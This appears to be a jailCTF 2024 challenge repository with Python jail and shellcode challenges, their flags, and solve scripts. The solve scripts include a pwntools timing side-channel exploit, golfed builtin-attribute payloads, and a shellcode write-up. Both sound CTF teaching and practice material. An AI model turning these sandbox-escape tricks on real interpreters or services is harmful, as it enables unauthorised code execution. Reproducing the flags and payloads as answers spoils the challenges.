/void/handout/docker/entry.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import os 3 | 4 | cod = "" 5 | 6 | while True: 7 | try: 8 | line = input("(EOF to finish)> ") 9 | except EOFError: 10 | break 11 | if line == "EOF": 12 | break 13 | cod += line + "\n" 14 | 15 | for c in cod: 16 | if ord(c) >= 128: 17 | print("only ascii") 18 | exit() 19 | if c in "_": 20 | print("no underscores") 21 | exit() 22 | 23 | with open("/tmp/file.py", "w") as f: 24 | f.write(cod) 25 | 26 | print("Good luck", flush=True) 27 | 28 | os.system("/app/embedder /tmp/file.py 2>&1") 29 | -------------------------------------------------------------------------------- /void/handout/docker/hook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | mv /srv/flag /srv/flag-$(head -c32 /dev/urandom | xxd -c64 -p) 4 | -------------------------------------------------------------------------------- /void/handout/docker/local_entry.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import os 3 | 4 | randombytes = os.urandom(32).hex() 5 | os.system("mv /flag /flag-" + randombytes) 6 | 7 | with open("/tmp/file.py", "r") as f: 8 | cod = f.read() 9 | 10 | for c in cod: 11 | if ord(c) >= 128: 12 | print("only ascii") 13 | exit() 14 | if c in "_": 15 | print("no underscores") 16 | exit() 17 | 18 | print("Good luck", flush=True) 19 | 20 | os.system("/app/embedder /tmp/file.py 2>&1") 21 | -------------------------------------------------------------------------------- /void/handout/embedder.docker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/void/handout/embedder.docker -------------------------------------------------------------------------------- /void/handout/flag: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /void/remote/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS := $(CFLAGS) $(if $(DEBUGLVL),-DDEBUGLVL=$(DEBUGLVL),) $(shell python3.12-config --cflags) -Wall -fPIC -O3 2 | LDFLAGS := $(LDFLAGS) $(shell python3.12-config --ldflags) -shared -fPIC -O3 -fPIE -pie -lpython3.12 #-Xlinker -export-dynamic -Wl,-O1 -Wl,-Bsymbolic-functions -lpython3.12 3 | 4 | all: embedder 5 | 6 | embedder.o: embedder.c 7 | 8 | embedder: embedder.o 9 | $(CC) -o $@ $< $(LDFLAGS) 10 | strip $@ 11 | 12 | .PHONY: all clean run single fresh 13 | 14 | run: embedder 15 | $(PWD)/$< $(ARGS) 16 | 17 | single: $(FILE) 18 | $(CC) $< $(CFLAGS) $(LDFLAGS) 19 | ./a.out 20 | rm -f ./a.out 21 | 22 | clean: 23 | rm -f embedder.o embedder 24 | 25 | fresh: clean embedder 26 | -------------------------------------------------------------------------------- /void/remote/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 AS builder 2 | 3 | WORKDIR /build 4 | COPY embedder.c . 5 | COPY Makefile . 6 | RUN make DEBUGLVL=0 7 | 8 | FROM pwn.red/jail 9 | 10 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv 11 | 12 | RUN mkdir /srv/app 13 | COPY --from=builder /build/embedder /srv/app/embedder 14 | COPY docker/entry.py /srv/app/run 15 | COPY docker/hook.sh /jail/hook.sh 16 | COPY flag /srv/ 17 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10 18 | -------------------------------------------------------------------------------- /void/remote/docker/Dockerfile.local: -------------------------------------------------------------------------------- 1 | # In the parent directory: 2 | # docker build docker/Dockerfile.local -t void . 3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void 4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 AS builder 5 | 6 | WORKDIR /build 7 | COPY embedder.c . 8 | COPY Makefile . 9 | RUN make DEBUGLVL=0 10 | 11 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 12 | 13 | COPY flag /flag 14 | 15 | WORKDIR /app 16 | COPY --from=builder /build/embedder . 17 | COPY docker/local_entry.py . 18 | 19 | ENTRYPOINT ["/app/local_entry.py"] 20 | -------------------------------------------------------------------------------- /void/remote/docker/Dockerfile.local.prebuilt: -------------------------------------------------------------------------------- 1 | # In the parent directory: 2 | # docker build docker/Dockerfile.local -t void . 3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void 4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 5 | 6 | COPY flag /flag 7 | 8 | WORKDIR /app 9 | COPY embedder.docker /app/embedder 10 | COPY docker/local_entry.py . 11 | 12 | ENTRYPOINT ["/app/local_entry.py"] 13 | -------------------------------------------------------------------------------- /void/remote/docker/Dockerfile.prebuilt: -------------------------------------------------------------------------------- 1 | FROM pwn.red/jail 2 | 3 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv 4 | 5 | RUN mkdir /srv/app 6 | COPY embedder.docker /srv/app/embedder 7 | COPY docker/entry.py /srv/app/run 8 | COPY docker/hook.sh /jail/hook.sh 9 | COPY flag /srv/ 10 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10 11 | -------------------------------------------------------------------------------- /void/remote/docker/entry.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import os 3 | 4 | cod = "" 5 | 6 | while True: 7 | try: 8 | line = input("(EOF to finish)> ") 9 | except EOFError: 10 | break 11 | if line == "EOF": 12 | break 13 | cod += line + "\n" 14 | 15 | for c in cod: 16 | if ord(c) >= 128: 17 | print("only ascii") 18 | exit() 19 | if c in "_": 20 | print("no underscores") 21 | exit() 22 | 23 | with open("/tmp/file.py", "w") as f: 24 | f.write(cod) 25 | 26 | print("Good luck", flush=True) 27 | 28 | os.system("/app/embedder /tmp/file.py 2>&1") 29 | -------------------------------------------------------------------------------- /void/remote/docker/hook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | mv /srv/flag /srv/flag-$(head -c32 /dev/urandom | xxd -c64 -p) 4 | -------------------------------------------------------------------------------- /void/remote/docker/local_entry.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import os 3 | 4 | randombytes = os.urandom(32).hex() 5 | os.system("mv /flag /flag-" + randombytes) 6 | 7 | with open("/tmp/file.py", "r") as f: 8 | cod = f.read() 9 | 10 | for c in cod: 11 | if ord(c) >= 128: 12 | print("only ascii") 13 | exit() 14 | if c in "_": 15 | print("no underscores") 16 | exit() 17 | 18 | print("Good luck", flush=True) 19 | 20 | os.system("/app/embedder /tmp/file.py 2>&1") 21 | -------------------------------------------------------------------------------- /void/remote/embedder.docker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/void/remote/embedder.docker -------------------------------------------------------------------------------- /void/remote/flag: -------------------------------------------------------------------------------- 1 | There is something to be said about the _you did it_ star. That somehow, despite its childishly cartoonish aesthetics (or perhaps more likely, because of), the people _love_ it. Such is the appeal of modern art, the decomposition and unraveling of conventions, mocking it through ironic depictions, thus engendering sincerity. Sincerity? How could irony be a source of sincerity, you may ask. We as a society are so used to the insincere messages at the end of some grand service. The "thank you for choosing us" after the airline cancelled your plane and rebooked you for one 30 hours after, and the "great job!" on standard exams after you clearly bombed it. It is as if they don't actually care about the message. They are but blindly following the niceties of yesterday's, churning out phrases one after the other. Thus, the _you did it_ star stands as a beacon of sincerity and irony. The organizers know that most contestants probably didn't do as well as they hoped -- they didn't solve a problem despite their best efforts, they couldn't implement a solution before the time ran out, or they simply did worse than they wanted to. After all, there are only so many winners. Most don't stand out. So the _you did it_ star tells them: "It's ok! I know you probably didn't do so well, just like how I am not well-drawn. But it doesn't matter, because you had fun solving the problems, and ultimately this is just a silly contest. So regardless of what happened, _you_ did it, even if _you_ did not do it so well." But you may argue that the insincerity of the _you did it_ star is antithetical to all that the competition stands for, and that it completely defeats the effort that we, the competitors, put into solving challenges such as this. That we did not do it is besides the point, it is the fact that we failed that is important. But I disagree!!! Because _you_ did not do it!!!!!! Anywho, thanks for coming to my TED talk. Here's the flag: jail{https://www.wsj.com/articles/SB10001424052702303910404579489802877661782} 2 | -------------------------------------------------------------------------------- /what-flag/README.md: -------------------------------------------------------------------------------- 1 | # what flag? 2 | 3 | category: pyjail/golf 4 | 5 | ## description 6 | 7 | there is no flag 8 | 9 | -------------------------------------------------------------------------------- /what-flag/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=39M JAIL_POW=500 JAIL_ENV_NUM=5 JAIL_TIME=10 JAIL_CONNS_PER_IP=2 8 | 9 | -------------------------------------------------------------------------------- /what-flag/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /what-flag/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | import signal 3 | from time import sleep 4 | from random import random, getrandbits 5 | 6 | flag = open('flag.txt').read() 7 | def die(*args): 8 | raise SystemError 9 | 10 | LENGTH_LIMIT = 22 # pretty sure you can't do anything sus with this. 11 | q = input("do whatever: ")[:LENGTH_LIMIT] 12 | r = input("do whateverer: ")[:LENGTH_LIMIT] 13 | 14 | signal.signal(signal.SIGALRM, die) 15 | signal.setitimer(signal.ITIMER_REAL, 0.001) 16 | 17 | try: 18 | eval(q, {'__builtins__':{}, "flag":flag}, {'__builtins__':{}, "flag":flag}) 19 | except: 20 | pass 21 | 22 | try: 23 | sleep(0.002) 24 | except: 25 | pass 26 | del flag 27 | safe_builtins = {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type} # types are safe right? 28 | sleep(random()) # no side channels :D 29 | 30 | try: 31 | eval(r, {'__builtins__': safe_builtins}, {'__builtins__': safe_builtins}) 32 | except: 33 | pass 34 | -------------------------------------------------------------------------------- /what-flag/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=39M JAIL_POW=500 JAIL_ENV_NUM=5 JAIL_TIME=10 JAIL_CONNS_PER_IP=2 8 | 9 | -------------------------------------------------------------------------------- /what-flag/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{pr0babl4_n!t_wh1t_y0U_3xpyct8d} 2 | -------------------------------------------------------------------------------- /what-flag/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | import signal 3 | from time import sleep 4 | from random import random, getrandbits 5 | 6 | flag = open('flag.txt').read() 7 | def die(*args): 8 | raise SystemError 9 | 10 | LENGTH_LIMIT = 22 # pretty sure you can't do anything sus with this. 11 | q = input("do whatever: ")[:LENGTH_LIMIT] 12 | r = input("do whateverer: ")[:LENGTH_LIMIT] 13 | 14 | signal.signal(signal.SIGALRM, die) 15 | signal.setitimer(signal.ITIMER_REAL, 0.001) 16 | 17 | try: 18 | eval(q, {'__builtins__':{}, "flag":flag}, {'__builtins__':{}, "flag":flag}) 19 | except: 20 | pass 21 | 22 | try: 23 | sleep(0.002) 24 | except: 25 | pass 26 | del flag 27 | safe_builtins = {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type} # types are safe right? 28 | sleep(random()) # no side channels :D 29 | 30 | try: 31 | eval(r, {'__builtins__': safe_builtins}, {'__builtins__': safe_builtins}) 32 | except: 33 | pass 34 | -------------------------------------------------------------------------------- /what-flag/solve/README.md: -------------------------------------------------------------------------------- 1 | # what flag? 2 | 3 | warning: this is extremely obscure and may invoke nerd emoji in readers 4 | 5 | we can abuse the `__flags__` attribute of types to store data 6 | 7 | the 19th bit of the `__flags__` attribute gets set on attribute read of a type 8 | 9 | ``` 10 | >>> complex.__flags__ 11 | 5376 12 | >>> complex.real 13 | 14 | >>> complex.__flags__ 15 | 529664 16 | ``` 17 | 18 | in this case we can also abuse the fl ligature and then do a side channel on the second input by having the program stall 19 | if the `complex.__flags__` are too high 20 | 21 | general idea is below 22 | 23 | ``` 24 | do whatever: flag[xx]<'x'or 1j.a 25 | do whateverer: 2**complex.__flags__**2 26 | ``` 27 | 28 | that but with the fl ligature instead of "fl" (the xx and 'x' are the inputs) 29 | 30 | -------------------------------------------------------------------------------- /what-flag/solve/solve-remote.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import check_output 3 | import signal 4 | import time 5 | 6 | context.log_level = 'critical' 7 | #context.log_level = 'debug' 8 | 9 | def die(*args): 10 | raise SystemError 11 | 12 | signal.signal(signal.SIGALRM, die) 13 | 14 | p = "\ufb02ag[%s]<'\\x%x'or 1j.a" 15 | p2 = "2**complex.__\ufb02ags__**2" 16 | 17 | flag = "" 18 | cur = 0 19 | while not len(flag) or flag[-1] != "}": 20 | bit = 2**6 21 | ch = 0 22 | while bit: 23 | io = remote("localhost", 5000) 24 | io.recvline() 25 | io.sendline(check_output(io.recvline().decode('ascii'), shell=True).strip()) 26 | io.recv(1000) 27 | io.sendline((p%(cur, ch + bit)).encode()) 28 | io.recvuntil(b"rer: ") 29 | io.sendline(p2.encode()) 30 | time.sleep(2) 31 | eof = False 32 | try: 33 | io.recv(1,timeout=0) 34 | except EOFError: 35 | eof = True 36 | if not eof: 37 | ch += bit 38 | print(f'ord(flag[{cur}]) >= {ch}') 39 | else: 40 | print(f'ord(flag[{cur}]) < {ch+bit}') 41 | io.close() 42 | bit >>= 1 43 | flag += chr(ch) 44 | cur += 1 45 | print(flag) 46 | 47 | -------------------------------------------------------------------------------- /what-flag/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import signal 3 | import time 4 | 5 | context.log_level = 'critical' 6 | #context.log_level = 'debug' 7 | 8 | def die(*args): 9 | raise SystemError 10 | 11 | signal.signal(signal.SIGALRM, die) 12 | 13 | p = "\ufb02ag[%s]<'\\x%x'or 1j.a" 14 | p2 = "2**complex.__\ufb02ags__**2" 15 | 16 | flag = "" 17 | cur = 0 18 | while not len(flag) or flag[-1] != "}": 19 | bit = 2**6 20 | ch = 0 21 | while bit: 22 | io = process(['python3', 'main.py']) 23 | io.sendline((p%(cur, ch + bit)).encode()) 24 | io.recvuntil(b"rer: ") 25 | io.sendline(p2.encode()) 26 | time.sleep(2) 27 | eof = False 28 | try: 29 | io.recv(1,timeout=0) 30 | except EOFError: 31 | eof = True 32 | if not eof: 33 | ch += bit 34 | print(f'ord(flag[{cur}]) >= {ch}') 35 | else: 36 | print(f'ord(flag[{cur}]) < {ch+bit}') 37 | io.close() 38 | bit >>= 1 39 | flag += chr(ch) 40 | cur += 1 41 | print(flag) 42 | -------------------------------------------------------------------------------- /what-numbers/README.md: -------------------------------------------------------------------------------- 1 | # what numbers 2 | 3 | category: pyjail/golf 4 | 5 | ## description 6 | 7 | i hate numbers, so i banned them all 8 | -------------------------------------------------------------------------------- /what-numbers/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | # Python 3.10.12 ... [GCC 12.2.0] on linux 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /what-numbers/handout/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< " 4 | 5 | def check(x): 6 | return all(i not in banned and ord(i) < 128 for i in x) 7 | 8 | x = input("input? ") 9 | 10 | if not check(x): 11 | print('you are not ready for it') 12 | exit() 13 | 14 | if eval(x[:1337]) == (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099): 15 | print(open('flag.txt').read()) 16 | print('bye') -------------------------------------------------------------------------------- /what-numbers/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /what-numbers/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | # Python 3.10.12 ... [GCC 12.2.0] on linux 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /what-numbers/remote/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< " 4 | 5 | def check(x): 6 | return all(i not in banned and ord(i) < 128 for i in x) 7 | 8 | x = input("input? ") 9 | 10 | if not check(x): 11 | print('you are not ready for it') 12 | exit() 13 | 14 | if eval(x[:1337]) == (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099): 15 | print(open('flag.txt').read()) 16 | print('bye') -------------------------------------------------------------------------------- /what-numbers/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{i_dont_know_what_numbers_youre_talking_about} 2 | -------------------------------------------------------------------------------- /what-numbers/solve/README.md: -------------------------------------------------------------------------------- 1 | # what numbers 2 | 3 | todo add quick writeup 4 | -------------------------------------------------------------------------------- /what-numbers/solve/best/1099.txt: -------------------------------------------------------------------------------- 1 | __loader__.set_data.__code__.co_firstlineno 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/123456789.txt: -------------------------------------------------------------------------------- 1 | bytes.__flags__-type.__flags__//object.__flags__-int.__flags__*memoryview.__basicsize__//set.__basicsize__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/1337.txt: -------------------------------------------------------------------------------- 1 | __debug__^bool.__flags__-set.__basicsize__^int.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/13371337.txt: -------------------------------------------------------------------------------- 1 | __debug__^set.__flags__//map.__basicsize__--list.__flags__^str.__basicsize__*object.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/14600926.txt: -------------------------------------------------------------------------------- 1 | zip.__flags__//map.__basicsize__*memoryview.__flags__-list.__flags__//-str.__basicsize__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/1784768876.txt: -------------------------------------------------------------------------------- 1 | __debug__-range.__flags__-float.__flags__//-int.__basicsize__-zip.__flags__//-type.__dictoffset__*int.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/2396745.txt: -------------------------------------------------------------------------------- 1 | str.__flags__//bytearray.__basicsize__-bytes.__flags__//bytearray.__basicsize__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/322376503.txt: -------------------------------------------------------------------------------- 1 | map.__basicsize__-bool.__flags__^-str.__flags__-tuple.__flags__*tuple.__flags__//bytes.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/3735928559.txt: -------------------------------------------------------------------------------- 1 | tuple.__flags__//classmethod.__flags__-bool.__flags__-dict.__flags__*type.__basicsize__//-check.__class__.__basicsize__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/420.txt: -------------------------------------------------------------------------------- 1 | type.__flags__//set.__flags__-bytes.__basicsize__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/4886718345.txt: -------------------------------------------------------------------------------- 1 | dict.__flags__//-range.__flags__-set.__basicsize__*bool.__flags__^int.__basicsize__*-int.__flags__-tuple.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/48879.txt: -------------------------------------------------------------------------------- 1 | bytes.__flags__//-zip.__flags__^__debug__-zip.__flags__-memoryview.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/51966.txt: -------------------------------------------------------------------------------- 1 | property.__basicsize__-set.__flags__*zip.__basicsize__//-range.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/57005.txt: -------------------------------------------------------------------------------- 1 | set.__basicsize__^-complex.__flags__-str.__flags__//-range.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/best/69.txt: -------------------------------------------------------------------------------- 1 | list.__flags__//id.__class__.__flags__ 2 | -------------------------------------------------------------------------------- /what-numbers/solve/gen-final.py: -------------------------------------------------------------------------------- 1 | nums = (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099) 2 | 3 | total = "" 4 | for num in nums: 5 | with open(f"best/{num}.txt") as f: 6 | text = f.read().strip("\n") 7 | total += text 8 | total += "," 9 | total = total[:-1] 10 | print(len(total)) 11 | print(total) 12 | with open("payload.txt", 'w') as f: 13 | f.write(total) 14 | 15 | -------------------------------------------------------------------------------- /what-numbers/solve/payload.txt: -------------------------------------------------------------------------------- 1 | __debug__^bool.__flags__-set.__basicsize__^int.__flags__,type.__flags__//set.__flags__-bytes.__basicsize__,list.__flags__//id.__class__.__flags__,tuple.__itemsize__**__loader__.set_data.__code__.co_nlocals//bytearray.__basicsize__,set.__basicsize__^-complex.__flags__-str.__flags__//-range.__flags__,bytes.__flags__//-zip.__flags__^__debug__-zip.__flags__-memoryview.__flags__,property.__basicsize__-set.__flags__*zip.__basicsize__//-range.__flags__,zip.__flags__//map.__basicsize__*memoryview.__flags__-list.__flags__//-str.__basicsize__,__debug__-range.__flags__-float.__flags__//-int.__basicsize__-zip.__flags__//-type.__dictoffset__*int.__flags__,set.__flags__*type.__basicsize__-zip.__flags__*zip.__flags__^dict.__flags__*bytes.__basicsize__//set.add.__class__.__flags__,map.__basicsize__-bool.__flags__^-str.__flags__-tuple.__flags__*tuple.__flags__//bytes.__flags__,dict.__flags__//-range.__flags__-set.__basicsize__*bool.__flags__^int.__basicsize__*-int.__flags__-tuple.__flags__,bytes.__flags__-type.__flags__//object.__flags__-int.__flags__*memoryview.__basicsize__//set.__basicsize__,__debug__^set.__flags__//map.__basicsize__--list.__flags__^str.__basicsize__*object.__flags__,__loader__.set_data.__code__.co_firstlineno -------------------------------------------------------------------------------- /what-numbers/solve/searchattrs.py: -------------------------------------------------------------------------------- 1 | # this one can be optimized for sure 2 | 3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< " 4 | 5 | 6 | def check(x): 7 | return all(i not in banned and ord(i) < 128 for i in x) 8 | 9 | 10 | MAX = 4 11 | seen_classes = set() 12 | best_way = {} 13 | alldunders = open("dunders.txt").read().splitlines(keepends=False) 14 | 15 | 16 | def recurs(oname, obj, attrs, depth=0): 17 | if isinstance(obj, bool): 18 | obj = int(obj) 19 | if depth == MAX: 20 | return 21 | if not check(oname): 22 | return 23 | if isinstance(obj, int): 24 | if obj not in best_way or len(best_way[obj]) > len(oname): 25 | best_way[obj] = oname 26 | print(oname, obj) 27 | return 28 | for attr in attrs: 29 | try: 30 | new_obj = getattr(obj, attr) 31 | if isinstance(new_obj, int): 32 | if not check(attr): 33 | continue 34 | if new_obj not in best_way or len(best_way[new_obj]) > len(oname + "." + attr): 35 | best_way[new_obj] = oname + "." + attr 36 | print(oname + "." + attr, new_obj) 37 | continue 38 | recurs(f'{oname}.{attr}', new_obj, alldunders, depth+1) 39 | except: 40 | pass 41 | 42 | 43 | def main(): 44 | objnames = dir(__builtins__) + ['check'] + ['__debug__'] 45 | objnames = [name for name in objnames if check(name)] 46 | for objname in objnames: 47 | obj = eval(objname) 48 | objattrs = alldunders 49 | recurs(objname, obj, objattrs) 50 | print(best_way) 51 | 52 | 53 | if __name__ == "__main__": 54 | main() 55 | -------------------------------------------------------------------------------- /x86fuck/README.md: -------------------------------------------------------------------------------- 1 | # x86fuck 2 | 3 | category: mainstream/pwn 4 | 5 | ## description 6 | 7 | what if x86 and brainfuck had a child? -------------------------------------------------------------------------------- /x86fuck/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir unicorn 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=40M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=15 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /x86fuck/handout/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from unicorn import Uc, UcError, UC_ARCH_X86, UC_HOOK_INTR, UC_MODE_32 4 | from unicorn.x86_const import UC_X86_REG_EAX, UC_X86_REG_EBX 5 | 6 | def read_bytes(uc, addr): 7 | ret = b'' 8 | i = 0 9 | while (c := uc.mem_read(addr + i, 1)) != b'\x00': 10 | ret += c 11 | i += 1 12 | return ret 13 | 14 | def hook_interrupt(uc, intno, user_data): 15 | if intno == 0x80: 16 | sysno = uc.reg_read(UC_X86_REG_EAX) 17 | filename = uc.reg_read(UC_X86_REG_EBX) 18 | 19 | if sysno == 11 and read_bytes(uc, filename) == b'/bin/sh': 20 | print(open('flag.txt', 'r').read()) 21 | mu.emu_stop() 22 | 23 | code = bytes.fromhex(input('Please input your finest shellcode (in hex): ')) 24 | 25 | if len(code) > 4096: 26 | print('Too big! Try again.') 27 | exit(1) 28 | 29 | if len(set(code)) > 2: 30 | print("Too diverse! Try again.") 31 | exit(1) 32 | 33 | mu = Uc(UC_ARCH_X86, UC_MODE_32) 34 | mu.mem_map(0, 4096) 35 | mu.mem_write(0, code) 36 | mu.hook_add(UC_HOOK_INTR, hook_interrupt) 37 | 38 | try: 39 | mu.emu_start(0, len(code)) 40 | except UcError as e: 41 | print(f'Error: {e}') 42 | -------------------------------------------------------------------------------- /x86fuck/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /x86fuck/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir unicorn 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 chal.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=40M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=15 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /x86fuck/remote/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from unicorn import Uc, UcError, UC_ARCH_X86, UC_HOOK_INTR, UC_MODE_32 4 | from unicorn.x86_const import UC_X86_REG_EAX, UC_X86_REG_EBX 5 | 6 | def read_bytes(uc, addr): 7 | ret = b'' 8 | i = 0 9 | while (c := uc.mem_read(addr + i, 1)) != b'\x00': 10 | ret += c 11 | i += 1 12 | return ret 13 | 14 | def hook_interrupt(uc, intno, user_data): 15 | if intno == 0x80: 16 | sysno = uc.reg_read(UC_X86_REG_EAX) 17 | filename = uc.reg_read(UC_X86_REG_EBX) 18 | 19 | if sysno == 11 and read_bytes(uc, filename) == b'/bin/sh': 20 | print(open('flag.txt', 'r').read()) 21 | mu.emu_stop() 22 | 23 | code = bytes.fromhex(input('Please input your finest shellcode (in hex): ')) 24 | 25 | if len(code) > 4096: 26 | print('Too big! Try again.') 27 | exit(1) 28 | 29 | if len(set(code)) > 2: 30 | print("Too diverse! Try again.") 31 | exit(1) 32 | 33 | mu = Uc(UC_ARCH_X86, UC_MODE_32) 34 | mu.mem_map(0, 4096) 35 | mu.mem_write(0, code) 36 | mu.hook_add(UC_HOOK_INTR, hook_interrupt) 37 | 38 | try: 39 | mu.emu_start(0, len(code)) 40 | except UcError as e: 41 | print(f'Error: {e}') 42 | -------------------------------------------------------------------------------- /x86fuck/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{who_needs_all_those_opcodes_anyway_b95d22ea73} -------------------------------------------------------------------------------- /x86fuck/solve/README.md: -------------------------------------------------------------------------------- 1 | # x86fuck 2 | 3 | the main idea is to use 0x80 and 0x43 since they allow for the following: 4 | 5 | - `43` is `inc ebx` 6 | - `80434343` is `add BYTE PTR [ebx+0x43],0x43` 7 | - `80434380` is `add BYTE PTR [ebx+0x43],0x80` 8 | 9 | fortunately, 0x43 is coprime to 256, so it is possible to get [ebx+0x43] to any number with enough of `add BYTE PTR 